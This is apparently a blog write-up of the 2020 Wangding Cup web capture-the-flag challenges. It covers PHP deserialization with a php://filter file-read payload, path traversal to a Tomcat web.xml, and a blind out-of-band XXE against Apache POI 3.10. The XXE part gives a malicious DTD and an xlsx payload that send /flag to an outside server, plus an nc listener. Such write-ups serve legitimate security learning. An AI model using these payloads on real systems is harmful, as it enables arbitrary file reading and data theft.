網鼎杯2020青龍組-web

看來反序列化要多打點了,反序列化這塊都不怎麼熟~

AreUSerialz

源碼

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

考點:
  序列化後產生不可見字符

private、protected序列化後產生不可見字符

private屬性序列化的時候格式是 %00類名%00成員名
protected屬性序列化的時候格式是 %00*%00成員名

__destruct()

__destruct()這個魔術方法在每次銷燬一個對象時觸發。
而 PHP 的特性 「 運行完一次請求則銷燬環境 」 的做法。反正執行完請求後所有該銷燬的都會銷燬。
但是我們要把op == 2才能進入read利用

繞過

PHP7.1以上的反序列化不會判斷裏面參數的屬性類型了,所以可以改成public再進行反序列化,繞過private、protected序列化後產生不可見字符。__destruct()方法,當op===“2"時會將"2"變成"1”,可以把op轉成int型進行繞過~

讀取

因爲默認路徑改了個名~
先讀取一下index.php

在這裏插入圖片描述
在這裏插入圖片描述

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:58:"php://filter/read=convert.base64-encode/resource=index.php";s:7:"content";N;}

可以看到成功讀取了
但是讀不到flag.php~~
linux提供了/proc/self/目錄,這個目錄比較獨特,不同的進程訪問該目錄時獲得的信息是不同的,內容等價於/proc/本進程pid/。進程可以通過訪問/proc/self/目錄來獲取自己的信息。

下面內容來自imagin

1. maps 記錄一些調用的擴展或者自定義 so 文件
2. environ 環境變量
3. comm 當前進程運行的程序
4. cmdline 程序運行的絕對路徑
5. cpuset docker 環境可以看 machine ID
6. cgroup docker環境下全是 machine ID 不太常用

利用/proc/self/cmdline找到當前運行程序的路徑,
然後找到當前的網站根目錄配置文件。
不過好像相對路徑也可以~

filejava

一開始還以爲是java上傳題,後來下載時候發現可能是目錄穿越。

在這裏插入圖片描述
可以看到路徑,看看WEB-INF下面的web.xml試試

filename=../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml

比賽的時候和buu的路徑不太一樣。
在這裏插入圖片描述

在這裏插入圖片描述
一共三個文件,在UploadServlet.class文件中存在上傳poi-ooxml-3.10 has something wrong這樣的輸出,發現3.10有一個漏洞

在這裏插入圖片描述

Apache POI 3.10-FINAL及以前版本被發現允許遠程攻擊者通過注入XML外部實體訪問外部實體資源或者讀取任意文件。

構造Blind OOB XXE

上傳引入我們的vps裏的dtd的一個xml的外部實體攻擊

上傳的文件滿足兩個條件:

  1. excel-開頭
  2. xlsx結尾

我在BUU上覆現的,BUU靶機只能內網訪問。所以需要用小號開一個Basic裏面的linux靶機

在/var/www/html/下構建一個1.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:2333?%file;'>">

先創建一個xlsx文件,然後改後綴爲zip修改裏面的[Content_Types].xml文件。(先把該文件單獨解壓出來,修改完後再壓進去)

在這裏插入圖片描述

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/1.dtd">
%remote;%int;%send;
]>

再將文件後綴改爲xlsx文件

監控我們linux靶機的2333端口(記得進去/var/www/html):

nc -lvvp 2333

然後上傳我們的xlsx文件就行了

在這裏插入圖片描述

就可以看到靶機上的注入結果了
在這裏插入圖片描述

notes

CVE-2019-10795 undefsafe原型鏈污染
最近在研究jsouyp搞爬蟲,準備開發個閱讀器自用= =,最後一題等我有時間在做好了,node這方面也不怎麼熟,希望後面用vue開發完後能很快理解~~~

參考

PHP反序列化從初級到高級利用篇
proc/self/目錄的意義
網鼎杯-web
Apache POI XML外部實體(XML External Entity,XXE)攻擊詳解

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章